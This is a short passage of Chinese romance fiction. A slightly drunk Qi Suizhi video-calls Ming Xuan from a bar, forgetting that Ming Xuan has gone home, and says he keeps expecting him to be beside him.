没见到人，他迷蒙着眼睛，点开微信，给明暄拨过去了一个视频通话。 明暄接到电话的时候刚关灯躺进被子里，接通后，屏幕另一端是闪烁着各色灯光的酒吧内。 他在杂乱的背景音里听见很小的祁随之的声音：“明暄，你去哪了？” 明暄握着手机坐起身摁亮了灯，拧着眉，表情有点急：“啊？我吃完饭就回家了啊，你这是喝了多少啊？” 暗红色的灯光洒在祁随之的头发上，屏幕里的人眉头微蹙，表情有些苦恼。 “抱歉，头有点晕，忘记你回去了。” “总以为你还在我身边，但一回头发现你没在。” “有点……”